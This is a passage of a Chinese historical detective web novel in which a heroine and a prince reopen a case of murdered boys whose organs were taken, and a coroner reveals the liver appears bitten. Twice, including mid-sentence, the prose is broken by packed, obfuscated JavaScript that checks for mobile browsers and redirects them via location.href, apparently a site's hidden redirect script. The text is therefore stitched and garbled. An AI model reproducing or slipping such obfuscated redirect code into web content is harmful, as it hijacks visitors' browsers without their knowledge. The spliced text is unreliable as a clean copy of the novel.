l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15118763|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奇花,只有半夜才会开放,凌晨便要凋谢,就想着要去看。父皇不准许我出宫,我便央着身边伺候的太监偷偷带我去,他同意了。 “那时我没怎么出过宫,也不爱看书学习,哪里知道那种奇花就是昙花,而对我夸大其词的那位太监,已被人收买,等着我到了沼水村后便动手。” 这么说着他微微苦笑起来,路锦瞳有些惊诧,没想到容筝看着这么温文尔雅,很好学什么都懂的样子,小时候居然不喜欢看书。 不过也是,谁会喜欢看书啊?反正她除了有意思的小说,看什么书都犯困。 “虽然是偷偷去,但我还是带了不少护卫,遇到刺杀时他们拼死护我逃了出去,然后我就遇见了阿满,他就是第三位受害者。”容筝道。 “我在他家躲了一段时间,一直到父皇找到我,接我回宫。阿满是个很好的人,他待我很好,还给我看了许多没有见过的东西,给我讲没听过的故事。我离开的时候和他约好,之后还要一起玩,他没有因为我的身份远离,反而答应了。 “我与父皇说了阿满的事情,父皇很高兴能有人在关键时刻救我,便答应我可以随时出宫去玩,但一定要带够护卫,夜晚之前回来便好。如果可以,叫他来宫中玩也行,只要不冲撞到旁的贵人,都随我们。” 看来皇帝还是很宠爱容筝的,按路锦瞳看小说的经验,一般这种情况皇帝大概率会干的事是“棒打鸳鸯”,不许他们再继续相处下去,免得尊贵的皇子被乡野村夫带坏。 “直到五年前,沼水村连续有两个孩子被害,全村上下人心惶惶,阿满的母亲不希望他再和我一起出来,我任性,与阿满说没有关系,我会带足够的护卫,一直保护我们。阿满的母亲因着我的身份顾及,迫于无奈答应了,可我……”容筝声音低了下去,脸上显出后悔的神色。 他缓慢的吐出一口气来,声音有些发颤:“可我疏忽了,并未派护卫前去接他,反而是叫他从家中出来到河岸边等我。我当时想着,反正白日出来而已,村里那么多人,大庭广众之下怎么会有人敢伤害孩子?便放心的让他到河岸边与我会和,但是没想到,待我到了岸边时,阿满依旧没有出现。 “我等了很久很久,他一直都没有过来,我终于慌了,派人四处寻他,可怎么也寻不着,他失踪了,村中人最后看见他是他离开村子。” 容筝阖上眼帘:“阿满的母亲不敢怪我,但我能从她的眼中看出来,她是恨我的,如果不是我非要叫阿满出去,他根本不会出事。可她还有别的孩子,不能因为阿满的死而得罪皇子,从那天之后,我再也不敢踏进沼水村了,我不敢见阿满的母亲,更不敢见那个村里所有的人。” 难怪,宋云知一案发生后,容筝一直派暗卫保护路锦瞳以及她的家人,甚至派了贴身侍卫来护送她来往大理寺,查案时一直都跟着,即便是案子结束了,来查新的一个,依旧让余景来接送。 因为阿满的事情,他一直活在愧疚中,再也受不得因为自己的原因导致旁人离去了。 31. 第 31 章 路锦瞳想要叹气,人总是会在不经意间犯下让自己后悔终生的错误,然后折磨自己一辈子。 她曾在书中看到过,说悔恨是很可怕的情绪,让你恨不得回到那一刻死在那里,可你连这一点都做不到。 怎么不是这样呢?在这样的事情发生之后,容筝一定会幻想无数可能,比如说他为什么不赶到阿满家亲自带他出来,再送他回去?亦或是根本就不叫他出来,让他在家里好好待着,这样一切就都不会发生了。 他或许也曾想过,如果当初被杀的是他而不是阿满,那是不是就不会像现在这样难过,不用日日夜夜生活在悔恨中。 路锦瞳搬着凳子靠近了两步,她拍拍容筝的肩膀:“殿下,事情已经发生,再怎么怨天尤人都没有用了。更何况,这件事情不能完全怪你,你的责任顶多也就占了一个指节那么大点,做错了事的是凶手,他目前还逍遥法外,甚至都不知道有没有悔过之心,与其责怪自己,不如早日把他抓住,这样也能让阿满放心离开。” 这样安慰的话他不止听了一次,如今再听到,也只是摇头。路锦瞳能理解,容筝属于间接导致阿满被害,这个担子在他心中担了五年,哪有那么容易放下?他早就潜意识把自己当作了帮凶。 好在容筝很快恢复过来:“你说得对,只有找到凶手,才能让阿满瞑目。路姑娘,这次要拜托你了。” 路锦瞳也不夸大其词,在古代这种信息不发达的地方重启旧案并能侦破是很难的,就别说仅靠这小半枚血足印了,恐怕不光是很大的工作量,最后结果也不一定尽如人意。她只道:“殿下放心,我一定尽力而为。” 容筝眸色一暗,还是沉默点头。 路锦瞳决定先与他交流案情:“殿下这些年一直在追查,有查到什么线索么?比如说凶手的动机,六位受害者都被挖走了内脏,这一举动是为何?在发现凶手也许是个跛脚时,殿下有查出来什么么?划分的大概范围在哪里?除此之外,有没有别的对凶手的犯罪刻画?” 她一连抛出去好几个问题,容筝脸上满是失落,他微微摇头:“案件发生时,我十二岁,虽在遇到刺杀后不再偷懒,肯好好读书,却也从未接触过破案的事情,没有经验。再加上沈大人不在京中,各位大人都有事情要忙,没空时时刻刻陪着我查案。我只有在些许提点下自己钻研,只知道凶手一定认识全部的六位受害者,不是沼水村人就是京城或金陵人,只有这几个地方的人经常来往互通。” 沼水村与沼土村挨得不算远,沼土村去往金陵需要穿过大山,沼水村却不需要,它的地理位置相对来说更好一些,无论是去金陵还是去京城都比较方便,所以常会有人带了货物两头卖,偶尔忙不过来还会带着孩子。久而久之,也就渐渐的与周围人都熟悉了,六位受害者的家里经常会带着他们四处跑,被凶手盯上的概率很大。 “我认为,凶手一定是这几个地方的人,也有可能是沼土村的,他杀人后挖空内脏这一点我想不明白,我有去查某些地方是否有类似的风俗,或者有没有什么邪/教祭祀时会用这些东西,均是一无所获。”容筝苦笑,“至于你说的其他东西,那个时候我根本不懂,待后来懂了,时间也过去很久,许多证据都找不到,凶手早就跑了。” 小孩的警惕心有时也会很高,如果说第一个孩子没有警惕,被人拐走能说得过去,那后面五个呢?前面的案件接连发生,家里人不可能不小心看护,在这样的情况下依然有人被害,是熟人的可能性很大。 说到底还是吃了无人作为的亏,倘若届时庞载能上点心,高官愿意对平民的事高看一眼,或许也不会这样。 也不对啊,容筝好歹还是皇子呢,他应该也有自己的势力,怎么会完全连个帮手都没有呢? 许是察觉她目光中的好奇,未待路锦瞳开口询问,容筝便主动道:“那段时间,我的母妃刚失宠,没多久就病逝了。” 怪不得……路锦瞳惊觉又戳到了人家的伤疤,自从来到这里开始,她都踩了多少次雷,得亏是容筝脾气够好不和她计较什么,否则她就是十个头也不够砍的。 想到这里,路锦瞳弱弱道:“殿下节哀。” 容筝摇头:“无妨,毕竟已经过去了很多年。目前我所知就是这些了,需要做什么,或是派人查些什么,你就都直说便好,我一定尽全力完成。” “暂时还不需要,我得想一想。”路锦瞳摸摸下巴,“那个血鞋印,殿下有查出什么么?” “刚开始我抓跛脚的查,闹了不少误会,后来有人看了鞋印的全貌图,告诉我右边较重也并非是跛脚之由,还有可能是行走习惯,之后我就一直盯着人的鞋印看了,”容筝无奈道,“说来惭愧,什么都没有发现。我猜测可能因为鞋印是在几个月后被柳絮发现的,凶手察觉情况不对,早早跑了,而我只在这几个地方寻查,自然什么都没有找到。” 路锦瞳想了想,突然起身:“殿下稍等,我出去一下。” 她提着裙子小跑出去,问衙役要了个盆子,接了小半盆水哒哒哒跑回来,把盆放到桌边的地上。 “既然殿下看这个鞋印看了很多次,那一定记得很牢固了,我试着踩几下,你看看哪个更像,我们先把凶手的走路姿势研究出来。”路锦瞳嫌大袖子碍事,卷吧卷吧绕着手臂裹到了一起,然后把裙子提起来,鞋底轻轻沾了些水,开始用偏右的姿势在地上踩下水印。 容筝跟着起身,看她一连踩了好几个,摇头:“不对。” “难道不只是右侧身体发力?”路锦瞳歪头想了想,重新将鞋底沾上水,连蹦好几步到旁的地方继续踩,方才沾的有点多,痕迹不太好干。 容筝见她蹦的辛苦,弯腰搬了水盆跟在后头,这样就不用老踢着盆子向前走了,他也方便路锦瞳踩一个就能随时上去看。 就这么走了半个屋子,因为要刻意控制力道,路锦瞳脚底踩得有点发麻,她落下最后一个,便蹭到另一边站着去了:“不行了,让我缓缓,腿有点抽了。” 只是一个简单的脚印,但却因为力道不同的原因使留下的痕迹也有不同,路锦瞳之前也查过差不多的案子,只是那边有专业工具辅助,这里什么都没有,只能靠着自己试了。 “换我来吧,你先休息休息。”容筝也把袖子别进去,他正要效仿路锦瞳也试着走上几步,却瞥见了地上最后留下的那个脚印,连忙蹲下身子细看,他眸中焕发出光彩来,一时激动竟有些语无伦次,伸手拉住将要离开的路锦瞳,“等等,路姑娘。” 路锦瞳感到裙角被拽住,低头:“怎么了?” 容筝指着她因为脚酸最后留下的鞋印:“这个你是怎么踩的?能再来一次吗?” 这是接近了?路锦瞳也一喜,方才还有些疲惫的腿脚顿时有了力量,她道:“我再试试。” 方才踩最后那一下的时候她有种自暴自弃的感觉,觉得能不能行随便吧,反正她要先休息了,就没怎么注意,此刻还原还真一下子不太行。路锦瞳努力把摆烂的态度坚持到底,连踩了好几个才有刚才那味。 差不多搞清了方向,路锦瞳越踩越来劲,到最后简直和纸上的一模一样,连粗细程度都一般无二了,她总结:“这个就是那种,走路与常人没什么区别,但每次迈到右脚时身体都会不经意向□□斜,不过幅度不大,光靠看走路的姿势是看不出的,除非专盯着脚印瞧。” 她坐回椅子上休息,继续道:“上面我说的那个是走路习惯,还有一种可能,那不是凶手的走路习惯,或许他是像我刚刚那样没站稳,才不小心留下的。” 容筝把盆放到角落,以免有人进来不小心踢翻,他也跟着坐回去:“第一种可能性更大一点吧?第二种也不是没有可能,但没什么依据,他都要去栽赃柳絮父母了,怎么可能还不小心一点,会发生没站稳的情况呢?” “无论是那种,对破案都没有什么帮助,就别说已经过了这么多年,凶手早不知跑哪里去了,我们总不能把全世界的人都集合起来,一个一个看他们的走路吧。”路锦瞳有些无奈。 她又重新看回那张纸去,根据纸上的鞋印来分析:“按照这个来看的话,凶手身高大概有一米八左右,鞋子尺码四十二,体型偏瘦,再多就看不出了。” 容筝眼中明晃晃写了疑问,路锦瞳想起古今的度量似乎并不统一,便抬手对着容筝比划:“意思就是说,要比殿下矮一个额头,鞋子大小和您差不多,可能比您还要更瘦一点。” “但是这是当时他的身形,也不知道近些年来有没有长胖,或者更瘦一点?”路锦瞳苦恼的挠头,“完全没有什么依据啊。” 真让人头痛,凶手作案后跑了五年之久,留下的信息就只有一小块足印,除此之外什么都没有留下,这要找起来难度可太大了。路锦瞳苦恼的扶额,现在能做的就是先分析出个大概来,搞清楚凶手为什么要取走受害者的内脏,又为什么只杀十岁左右的男童,这其中一定有联系。 更何况,凶手在取走受害者内脏之后用来做什么了呢?现在的医术也没厉害到能给人做移植手术的地步,绝不可能是贩卖器/官。如果这些都不是,那他到底把那些东西怎么处理掉了? 还有就是需要走访,把这四个地方,特别是六个孩子与父母曾接触过的人找出来,一个一个排查,都不能漏掉,难保不会有孩子在外面独自认识什么人家长不知道,以防万一,还是尽量都排查一遍。 这可是个大工程,大理寺和衙门也不知能抽调多少人出来,路锦瞳倒不必担心这些,这是容筝应该考虑的,问题是,哪怕是抽调人手,也要担心他们是否有专心干活,会不会遗漏什么。 难搞,头痛啊。 虽然知道容筝对待这件事肯定上心,路锦瞳还是忍不住要提醒一下:“殿下,如果可以,走访这件事尽量让自己人去,或者说大理寺内有什么人特别认真,嗜案如命,就可以叫他一起,人太多了很难排查,也更容易遗漏,我们总不能全部都顾及到,那样的话会很累,也是很大的工作量。” “我明白,”容筝点头,“我会仔细挑选之后把那些人集合起来的。” 这也算是组建专案组了,路锦瞳举双手双脚赞成:“如果可以的话,尽量把他们多借来一段时间,其余的案子就不要管了,专注这个,必要的时候,还可以在一起开个会什么的,大家都能踊跃表达自己的想法,人多力量大,况且有的时候我们也会忽略什么,倘若他们能想到我们都没有想到的东西,那岂不是更好?” 容筝眉眼舒展开来:“你说的有理,那就按照你的意思来,我之后就请沈大人和府衙的钟大人来办理此事。” “如果找到了,让他们一起来开个会,还要麻烦殿下把这四个地方的地图给我,届时给每个人分片,挨家挨户都要问,即便是一些空穴来风的八卦,也得记下来。”路锦瞳道。 容筝很快安排下去,叫人把置在墙角的水盆端下去。他复又回到房间:“还有什么需要的么?” “我记得看卷宗的时候,有说庞载曾经在柳絮父母的屋子里找到一块腐烂掉的肝,这也成为定他们罪的关键证据。”路锦瞳道,“那块肝仵作有查过,确实是人肝对么?那个肝长什么样子?有没有人专门画出来?” “是人肝没错,”容筝答,“我记得好像有人画过,因为已经腐烂,有些地方坑坑洼洼的,图纸我给你带来了。但我觉得没有什么很大的考证,看上去不如直接看实物来的清楚,你先看看,之后我们一起去府衙,找找当年查验那块肝的仵作。” 他这么说着,从袖中摸出一张纸来,路锦瞳接过展开,其中用黑墨水画着一块不规则的物体,看上去作画的人已经努力了,可不管怎么瞧,都像是一块歪歪扭扭的石头。 果然看不出什么啊,路锦瞳默默把纸放下,自觉取了帷帽往头上戴:“走吧殿下,去府衙问问。” 容筝亲自给她推门:“我今日来得急,只骑了匹马,没有马车,我们可能得走着过去了。” “无妨,”路锦瞳摆摆手,“走着去也好,路上若是碰到什么与案件相关的,殿下可以给我讲讲。” 路锦瞳早就做好准备了,这里交通不发达,来往只能靠骑马或者坐马车牛车这一类,她想要继续实现梦想,加入大理寺查案,那之后需要腿着走的地方多了去了,现在就当是提前适应了。 慕柏在路锦瞳出门时自觉跟到她身后,容筝这几日见惯了她,便也点头打招呼,引着路锦瞳出门。 途中经过一家摊子,容筝给她指了指,告诉她这是当年柳絮父母开包子铺的地方。 容筝道:“刚开始的几个月,这里都没有人敢踏足,柳絮父母杀了人,又将人碎尸包在包子中,大家都嫌晦气。后来查明了真相,他们又觉得柳絮父母冤枉,慢慢的也就不在意,前两年也有人在这里摆摊了。” 路锦瞳轻轻垂首,只是沉默,人言总是这世上最可怕的东西,它能把一个人高高捧起,也能狠狠摔下去,是非对错有时自己都不在意,但旁人却能借此将其拉入谷底。在现代,有多少人是因为受不了网暴选择结束自己生命的,每个人都发表了自己以为对的言论而沾沾自喜,觉得自己三观正与旁人不同,却不知也正是那番“随意”的言语将人推入深渊。 正这么走着,前方传来疾驰的马蹄声,容筝连忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15128140|161350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 护着路锦瞳往街边撤,马上人看到他们时惊喜起来:“殿……主子,属下有事要报。” 居然是余景,容筝与路锦瞳对视一眼,先带人拐进了一间茶楼包厢,方便谈话。 “殿下,您叫我循着朱允时离开的路与弟兄们会合,在半路我们就遇见了。”余景道,“果然出事了,属下是与余音和路姑娘家的护卫们遇见的,护卫只剩下了两个,他们身上都带伤,还很严重,对属下讲了事情经过。 “他们奉陆夫人的命令护送朱允时母女一起离京,却不承想在半路遇见了刺杀,主要是攻击朱允时,那时我们的人还没感到,护卫们即便是努力保护,朱允时母女还是都死了,等我们的兄弟敢去时,只遇见了侥幸活下来的两名护卫,因为他们受伤太重,属下就先让余音送他们回路府了,赶来和您汇报大致情况。” “你辛苦了,先回府休息吧。”容筝先让他离开,直至人走远了才道:“事情果然还没有结束。” 路锦瞳面色淡淡:“毕竟涉及三皇子,严重到要去谋害皇子,怎么可能是那么简单的理由呢?还要跑到丞相府与人合谋。殿下,恕我直言,三皇子被刺杀恐怕并非是他私德不好,而是涉及皇储之争。” 容筝眼角一跳,这位路姑娘在他面前是越来越能放得开了,评价三皇子居然用上了“私德不好”这样的词,也是真不怕他会去告状啊。 他不和人讲,可不代表别人也不会,容筝还是提醒:“虽然你说的没错,但有的时候大实话还是少说得好,我能替你瞒着,可不代表别人也行。” 额……路锦瞳反应过来,才发现自己因为幕后之人草菅人命而生气到忘乎所以了,得亏容筝能帮忙瞒着,不然以她这刺头的性格,肯定挨个儿的得罪人,怎么死的都不知道。 怪也怪她在现代的时候太狂了,谁也不放在眼里,哪怕是领导也敢随便评价,同事们知道她的德行,也不出卖,而是跟着她一起说,这越导致她飘飘然,讲话更加没个把门的了。 不成,这可和现代不一样,在那会儿她要是说个什么不好听的话顶多被领导穿小鞋,或者不许晋升一直保留原岗位,这里可不一样,叫人听见了是要掉脑袋的,为了这条狗命,还是先把拉链拉上吧。 “殿下说的是,以后我一定注意。”路锦瞳乖乖认错。 他们喝了两口茶,继续往府衙那边过去。 等到了已经差不多中午了,钟煜见他们过来连忙迎接,还派人从酒楼打包午饭,老实又殷勤,路锦瞳越看这少年越顺眼,如果他不是知府,恐怕她都想要拉拢钟煜来专案组一起查案了。 这案子毕竟是五年前的,那会儿钟煜还在苦读书呢,只是听说,还是得去问府衙中的老人。没过一会儿上次那个被叫来问话的老衙役便被传上来了,路锦瞳跟这老头不对付,谁让他是庞载迷弟来着,庞载险些要了她的命,他还在她面前一直为其讲话,路锦瞳能高兴就怪了。 老衙役居然不介意她的身份,看到路锦瞳时,也不管她是不是什么首富之女,小幅度的扭了个头哼了一声别眼不去瞧人,给路锦瞳看生气了,她还什么都没说呢,他反倒先嫌弃上了,遂也学他的动作,摆头哼声一条龙,只不过幅度要大,声音也要大。 果然将老头气得吹胡子瞪眼,容筝想笑又不敢笑,轻咳两声忍了下来,他道:“老大人,本宫今日来,是想问你五年前的那件案子。” 老衙役对容筝倒是有好脸色,闻言连忙俯首作揖:“殿下请问,属下一定知无不言言无不尽。” 容筝便道:“当初定柳絮父母罪的那块肝,不知你是否还记得。” “当然记得,”说到此事,老衙役脸上露出一言难尽的神情来,“属下办案多年,还是第一次见肝脏被人挖出又腐烂,偏偏当时老卫……就是仵作,他和属下关系较好,让属下一起帮忙查看那块肝,当天中午恶心的都没吃下饭。” 容筝听到“关系好”时微微挑了一下眉:“那他现在离开府衙了么?” “还没呢,”老衙役说,“他在验尸房中,要属下给您叫他过来么?” 容筝点头:“有劳。” 路锦瞳等他走后才道:“这么说来,当时看到那块肝并仔细研究过的人不止仵作,还有这老头了?” 容筝失笑:“看来是这样。” “那到时候还请殿下多问他几句,最好让他们两个都把那个东西描述一遍,多点形容词,最好是直接让他们词穷,说出在看到那个东西时的第一想法来,这样的话语容易带给我们方向,哪怕是误导,也总比没有方向好。”路锦瞳道。 “好,”容筝道,“你不问么?” 路锦瞳嫌弃脸:“那老头有毛病,我都没惹他,就是质疑了一下庞载的工作能力,他反而还不高兴了,我才不要理他。” 容筝无奈。 老衙役很快带了仵作上来,那人恭敬见礼:“属下卫明,见过殿下。” “免礼,”容筝道,“你知道本宫找你来是为何么?” “知道,”卫明直起身,“殿下想知道五年前少年被害案最后那块肝究竟长什么模样,属下还记得。” 容筝“嗯”了一声:“那你就描述一下,越详细越好。” 卫明答了声“是”,便接着续下去:“属下拿到时,那块肝已经腐烂的很厉害了,其上还有蚊虫盘桓,属下查验后,发现那块肝已经不完整了,与从人体内挖出的肝略有不同,不光少了很多部分,表面更像是……被扔在锅中煮过一样。” 容筝微微一愣,随后道:“你继续说。” 卫明便接着道:“那块肝看上去坑坑洼洼,属下刚开始以为那是因为被苍蝇及别的蚊虫叮咬过,才会呈现出那样的形态,但后来仔细对比正常情况下蝇虫啃咬过的东西后,才发现并非如此,那块肝切口虽不整齐,却也不如蚊虫叮咬过后崎岖不平,那块肝的缺口看上去倒像是……” 他卡了壳,老衙役是个急性子,看他半天憋不出,便替他讲完了:“就是像被人咬过一样嘛,这有什么不好说的,殿下都说了我们能随便讲,更何况这些都是猜测而已,你当时不也是这么怀疑的么?” 卫明被他无语住:“我这不是怕吓着殿下,想找个合适的措辞么?你急什么?” 但老衙役该说的不该说的都说了,现下想换个词是不可能了,卫明看了容筝的脸色一眼,道:“回殿下,的确如李虎所言,当时属下是中午吃馍馍的时候想到的,肝脏的切面和属下啃馍馍的近乎相似,便有了这一想法,可上报给庞大人,他却叫属下不要再提,柳氏夫妇已然被处斩,案子已经了结,就不要把真相说出来了,以免吓到民众。” 32. 第 32 章 “可是这样的言论,在柳絮父母嫌疑洗清后也没有传出来,”容筝皱眉,“本宫从来没有听到过这样的说法。” 卫明心虚的移开了眼睛:“庞大人不许下官随便胡说,他说没有依据的事情不能到处乱传,下官……下官也就一直都没讲。” 容筝看起来是真有些生气,他声音都有点大了,路锦瞳认识他到现在还没听过他这么大的嗓门:“这么重要的线索,庞载不许你说,你就真的不说了?你知不知道,这么重要的线索如果传出去,是可能会有百姓来举报的,就因为你们一直都不说,所以直到现在案件都没有进展。” 卫明嗫嚅着不敢接话,他们还从没听说过脾气好的四皇子发火,此刻成了第一例,都不知该如何是好。 容筝道:“那之后呢?庞载都已经死了十几日了,你们还不报等什么呢?觉得案子是查不出来了,便无所谓了么?你们这样怎么配做捕快?如何给那些受害者的家里人交代?” 路锦瞳看他眼睛都气红了,想劝又不知道该怎么开口,有的时候就是这么戏剧性,其实案子原本是有希望的,就是因为某些上位者的敷衍,以及下面人的无所谓,才一直拖延,拖到最后仅有的证据都消失,让案子再没有重见天日的时候。 她曾跟着一位老师辅助过破陈年旧案,在前世那个年代破积案就已经很困难了,在古代这种什么都不发达的情况下只会更难,更别说这案子一直都没有什么指向性的线索,又拖了五年,凶手也许早就跑得不见人影了。 容筝气成这样也能理解,他迫切的想要抓到凶手为儿时玩伴报仇,作为皇子不专心学治国大计,也没有拉拢人篡位的想法,勤勤恳恳去学习怎么破案子,他为之付出了五年,一直以为只是因为庞载的不作为不认真才导致案件没有进展。却不承想,他曾经离真相那么近,只要来到府衙,想方设法盘问卫明和陈虎,比起庞载,他们或许会更惧怕容筝的压力而说出真话。 卫明不敢与他对视,心虚道:“是下官的错,下官……” 他支支吾吾半晌,根本说不出理由来,但他这副模样更让人清楚这是他疏忽了,他根本就没有把这桩案子放在心上,觉得既然已经深埋五年了,想再查出十分困难,那还不如先搁置着,反正也没有人过问。 容筝不知道该再说些什么好,无奈阖眼。路锦瞳怕一会儿他更气,连忙道:“你再回忆一下,肝的切面真的像人啃过东西的一样么?有没有可能是别的动物啃的。” 卫明直起腰来:“其实下官在发现这个之后,也专门去研究了一下,找猫啊狗啊,甚至是老鼠、蛇这些动物,都让他们吃过一些东西,然后看他们吃过地方的痕迹,没有与那块肝相似的,唯有人啃咬过的,和那块肝是很相似的。” 路锦瞳点点头:“明白了,二位先下去吧,若有什么问题,再请你们过来。” 卫明忐忑的看了看容筝,见他不耐烦的摆手,立马向路锦瞳投去一个感激的眼神,忙不迭的拉着李虎跑了。 容筝自己冷静了一会儿,路锦瞳看他缓的差不多了,起身去倒了杯茶:“殿下,喝口水吧。” 容筝抬头看了她一眼,伸手接过:“多谢。抱歉,我方才失态了。” “是他们不对,换作是我,我也会生气的,”路锦瞳道,“方才若不是殿下发火,恐怕我就要先骂人了。果然是什么样的领导就会有什么样的属下,庞载做什么事情都吊儿郎当的,人命案也不放在心上,下面的人自然不好越权查案。” 说着他又缓了语气:“但我们这次好歹问到了重要线索,这些也都是他们发现的,只能说他们还不算无药可救,还知道发现线索自己去探寻。而且现在再追究是谁的责任也来不及了,我们先继续往下查吧。” 容筝颔首,他指间摩挲茶杯:“路姑娘,你觉得他说的……会是真的么?” “怎么不会?”路锦瞳也给自己倒了一杯,“闹饥荒时尚有人易子而食,专有人杀人吃内脏也不是不可能,我之前就见过一些。不是常言说‘吃啥补啥’么,有些人肝不好,心脏不好,还有别的地方不好啥的,都会吃同样的地方来补充营养,饭桌上不都会有那种什么猪肝、鸡肝、牛肝那些东西么,有些人就会觉得动物内脏营养不够充分,是否可以换人的内脏来。 “之前见过一个案子,凶手家里的兄弟姐妹有人天生脑子不太好,凶手想让他们恢复健康,就杀人取走他们的脑子熬汤喝,说这样能补脑……殿下您怎么了。” 路锦瞳说了一半瞧见他有些一言难尽的脸色,便知自己说的有点重口了,连忙住嘴:“我是说多了么?” “没有,”容筝摇头,“我倒是之前跟着上过战场,有时候厮杀起来,你说的那些也会发生,我只见过,却不知道还能……” 他那句未尽之语没能说得出来,路锦瞳懂了,她挠挠头:“有些地方吃涮锅的时候也会涮脑花,但是那是动物脑子,我觉得有点恶心,吃不了,就别说人的了……” 容筝:“……”我也没说这东西能吃。 他咳嗽一声:“不管怎么样,这也算是有了新的思路,至少再往下查的话还有新的方向,你有什么想法么?” 路锦瞳挠挠脸:“还是得靠走访,一般会想到吃人的内脏的,要不然是身患重疾,要不然就是家里人身体有些问题,或者身体孱弱,命不久矣。这种人占大多数,少数一点的就是单纯的心理变/态,好奇心重,想要尝尝是什么味道。” “那你觉得,可能是哪种呢?”容筝问。 “根据那枚脚印来看,凶手鞋码很大,身形也高,一定是个男人没错,只不过根据那枚鞋印来看他可能腿有些残疾,并且身形瘦弱,甚至没有平常的青年那样结实,我猜测他有可能体弱多病,身体不够好,更偏向于第一种。”路锦瞳道,“先问着,也可以试探着问问有没有谁家有什么祖传秘方,是需要食人内脏才能养好身体的。” “好,”容筝答应,“我会尽快把人集结起来,届时给他们分工,搞清楚应该问些什么。” 衙门已经没什么值得问下去的东西了,路锦瞳和容筝浅浅一讨论,决定再去问问钟煜,看看衙门有没有什么踏实肯干的人能带走,帮忙一起查这桩案子。 容筝进屋与钟煜细谈,路锦瞳干脆就坐在外面拔草玩,其内的衙役们来来往往,李虎也偶有经过,与路锦瞳对视上,他有些尴尬的挪开视线。 路锦瞳不禁挺直腰板,本来庞载的事情一直都没有证据,就算是她知道真面目又如何?不还是有小迷弟恭维他么?现在好了,她甚至都没费口舌,就让李虎偶像的滤镜碎了一地,她现在怎么有种讨厌的人终于被发现了的感觉呢。 幸好戴了帷帽,路锦瞳才不用抑制笑容,但不管怎么说,太得意忘形还是不太好的,显得她跟个反派似的。这么想着,路锦瞳努力收回了笑容。 就算是高兴也得稍微收收,自己心里乐一乐就行了,不要让人看到嘛。 没办法,对于不喜欢的人,路锦瞳一向都没有好脸色,就别说这种不顾人命的了,如果庞载在她面前她直接降龙十八掌好吧? 没过一会儿,容筝和钟煜从里面出来,路锦瞳连忙拍拍裙子上的灰起身,钟煜邀请他们一起吃饭,正好这个时候午饭也刚刚回来,路锦瞳看到菜色情不自禁狗眼一亮,容筝见状,便应了下来。 正好他也要了解一下府衙里的人,看看钟煜给他找的那些衙役是不是都合格,跟在庞载干了这么多年的人,一下子还真不能相信,连续那么多年习惯摸鱼,能立马恢复正常的工作状态么? 钟煜大概也是清楚原先跟着庞载的人或许都不太行,此番推荐的都是他带来的小部分人,他在饭桌上给容筝讲了那些人的过往。那些人都是他之前在地方做知府时跟着带过来的,秉性知根知底,一定是认真干事的人叫容筝千万要放心。 容筝颇为欣赏钟煜,和他聊了很久,俩人几乎都没怎么动筷子,一桌好菜全便宜了路锦瞳。起初她还不好意思,觉得怎么领导拉活她吃饭呢,这多不行,后来发现容筝其实算不得她的领导,她现在还没入职大理寺呢,就算是进了大理寺,那领导也是沈知安才对。 想到这里,路锦瞳就放心吃了,一桌子菜最后都是她吃了的,不过她也没有全部吃完,每样都只吃了三分之一,剩下的三分之二留给他们两个。 结果直到离开他俩也没顾得上吃饭,容筝心情很好的和她一起从府衙门口出来,路锦瞳偷眼瞧他,见他眼睛都比刚来的时候要亮,走在路上步子都无比轻快,他略有些惋惜道:“若是钟大人能和我们一起查就好了。” 哎呀,这是交到朋友了。路锦瞳接话:“之后肯定有机会一起共事的,我们毕竟干的都是同一行。” 容筝轻轻点头,他道:“我先送你回府吧,你明日再过来,我今天下午去各处寻一些人,明日你过来组织他们,按片区给每个人分好。稍后我叫余景把四个地区的地图给你送过去,你先看看地形。” “好,”路锦瞳笑笑,“多谢殿下。” 路府要绕过另一条街去,今天天气不大好,阴沉沉的,连个太阳都没有,不过因为正是晌午,有风微微吹过倒也不是特别冷,路锦瞳比较喜欢这种天气,她心情也不禁好了起来,连空气都觉得无比清新。 古代的天气就是要更好一点啊,她这么想着,还能闻到街边卖得小吃的味道,不禁又被勾起了馋虫,说了句等一下便嗒嗒嗒跑去一个摊位前。 那个摊位卖得是夹肉饼,路钊回来的时候经常会给她带,那家的饼里面抹了一种特制的酱料,吃起来特别特别香,路锦瞳有的时候一口气能吃好几个。 此时又闻到了香香的饼,她又忍不住了,掏腰包买了好几个,其中几个先包起来,给家里人带一点,另外几个又装了一包,她小跑回去,递给容筝:“殿下方才都没吃什么东西,等会儿又要忙好久,先垫吧垫吧,这个饼可好吃了。” 她像是过年给小孩塞红包的亲戚,容筝没能推辞,只道了声谢便接过。 一直到容筝送她回府,慕柏才从后面的人流中出来,她一直默默跟着,进了府衙便在一丈远的地方不远不近站着,努力降低存在感,她做的很成功,周围都没什么人看到她,就连路锦瞳都已经忘了身后还跟了这么一号人。 此刻她自己出来,路锦瞳才意识到忽略了人,她从油纸包中摸出个饼来:“你也来一个吧,跟着我们走了一路,连口水都没喝。” 她觉得慕柏不像剑客,更像是个忍者、杀手那一类,她可以变作各种各样的人,并且完全融入进去,只要她不想,那就不会有人注意到她,除非是和她一样的人。 在发现这些之后,路锦瞳有些好奇了,慕柏原先的门派究竟是什么地方,只是飞鹰帮那么简单么?里面究竟是教什么?为什么慕柏会的东西那么多,这已经不是普通门派会教的了,而她又为什么会流落到现在这个地步,女扮男装? 至于有没有隐姓埋名,路锦瞳没法确认,直到现在慕柏都没有和她说起过往的意思,只是尽职尽责做好自己的任务,防备心依旧很重。她之前也答应过不会随意问她的过去,等她自己愿意说出来的时候再说,那就不能食言,心里头再好奇也要忍着。 慕柏木着脸接过:“谢谢小姐。” 路锦瞳跑了一上午,眼睛有些发酸,她把饼分给陆绾,又叫竹月去拜托厨房给慕柏做些事情,便回屋中往床上一摊,不管不顾的睡过去了。 